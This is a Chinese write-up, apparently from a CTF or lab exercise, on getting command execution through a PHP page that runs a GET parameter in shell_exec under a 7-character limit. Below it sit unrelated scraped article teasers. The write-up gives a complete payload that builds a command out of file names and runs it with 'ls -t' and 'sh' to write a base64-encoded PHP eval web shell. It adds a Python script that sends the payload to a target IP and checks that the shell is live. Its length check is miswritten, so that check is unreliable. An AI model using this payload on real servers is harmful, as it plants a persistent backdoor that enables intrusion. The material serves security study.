7位可控字符下的任意命令执行
<?php
highlight_file(__FILE__);
if(strlen($_GET[1]<7)){
echo strlen($_GET[1]);
echo '<hr/>';
echo shell_exec($_GET[1]);
}else{
exit('too long');
}
?>
预备知识:
>a #虽然没有输入但是会创建a这个文件
ls -t #ls基于基于事件排序(从晚到早)
sh a #sh会把a里面的每行内容当作命令来执行
使用|进行命令拼接 #l\ s = ls
base64 #使用base64编码避免特殊字符
写入语句
<?php eval($_GET[1]);
base64编码后
PD9waHAgZXZhbCgkX0dFVFsxXSk7
需要被执行的语句:
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
payload:
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0
脚本代码:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
url = "http://192.168.61.157/rce.php?1={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))
#检查是否攻击成功
test = requests.get("http://192.168.61.157/1.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")


智能推荐
CentOS 7 执行 yum 命令失败问题的排查方法
简介: 本文主要为大家讲解CentOS 7系统中执行yum命令失败等常见问题的排查方法。 1. 执行yum命令报404错误 1)检查yum仓库是否配置正确,可以到CentOS 镜像下载阿里云repo配置文件。 2)如果报错中包含$releasever变量, 则执行rpm -qa | grep centos-release确认centos-release是否安装。未安装可以执行以下命令下载安装包进行...
Linux笔记【010】| Linux的运行模式与网卡设置
一.Linux的运行模式 单用户、多用户、单任务、多任务。 单用户:是指操作系统一般只能由一个人同时进行登录; 多用户:是指操作系统可以允许多个人同时进行登录; 单任务:是指操作系统只能同时处理一个任务; 多任务:是指操作系统可以同时处理多个任务; Windows属于单用户、多任务的操作系统;(mstsc是windows系统的远程工具) Linux属于多用户、多任务的操作系统; 在Linux中存在...
用navicat连接数据库报错:1130-host ... is not allowed to connect to this MySql server如何处理
遇到这个问题首先到mysql所在的服务器上用连接进行处理 连接服务器: mysql -u root -p 查看当前所有数据库:show databases; 进入mysql数据库:use mysql; 查看mysql数据库中所有的表:show tables; 查看user表中的数据:select Host, User,Password from ...
登峰造极 题解
一、题目: 二、思路: 首先这题一看就有打暴力的冲动。flood-fill搞一搞,拿到了70分。 那么我们来讲一讲正解。 首先我们将网格图转化成线性图后按高度从大到小排序。然后我们考虑这样两个点\(i,j\),其中i的高度大于j的高度。我们记i能走到的所有点为集合\(S_i\),记j能走到的所有点为集合\(S_j\),那么如果\(S_i\)与\(S_j\)有交集,那么j就一定不可能是“...
猜你喜欢
webpack基本使用
1.webpack下载 (首先先初始化一下package。json ==> npm init -y) npm i webpack webpack-cli -D 2.在根目录下配置webpack.config.js 3.在package.json文件里添加脚本 4.实现自动打包功能 npm i webpack-dev-server -D 修改脚本如3 5.使用html-webpack-plug...
页面加载性能之优化LCP
影响LCP的四个因素如下: 较慢的服务器响应时间 渲染阻塞的js和css 较慢的资源加载时间 客户端渲染 较慢的服务器响应时间 浏览器获取文档的时间越长,用户看到页面的时间也会越长。较快的服务器响应时间,可以直接改善每一个页面加载相关的指标,包括LCP。 可以使用 TTFB(Time to First Byte) 来测试服务器响应时间,你可以通过以下手段来优化 TTFB 这个指标。 优化服务器 使...
8、搭建本地数据库
一、首先下载docket 它是一套环境,与phpstudy类似,当进行数据库连接时,一定要保证两个环境不能冲突,不然连接不上,接口冲突,使用到的命令如下:(目的就是连接数据库验证数据落地) 二、下载sourcetree(将项目推送到git上) a.首先我们需要将我们的项目引入进来 b.使用我们的phpstorm编写我们的测试用例,编写完成打开我们的sourcetree,在文件状态下能查看到我们所做...
微信小程序开发〖一〗开发登录页面
登录页面展示 登录成功页面 未登录页面 通过点击登录按钮进行微信登陆 前端页面 我用了微信小程序的UI组件 iviewweapp 和ColourUI 的css库,需要提前去官网下载并按照指引下载到项目中,不会来call我,我一一指导~~ wxml wxjs .json .wxss...
html初学
常用标签的练习 标题标签<h1~h6> 1.通常情况下h1到h6是从大到小排列,不过并不是因为h1本身比h6大,而是浏览器默认样式中将h1标签默认渲染的更大,而h1和h6大小本身无法比较。使用时更直观的感受是,h1为一级标题,其他标题依次排列,表现为层级关系。且h1到h6标签仅有6个,没有h7…的标签,在使用时可以照常显示但没有意义所以禁用 2.标题显示时,浏览器会默认在...
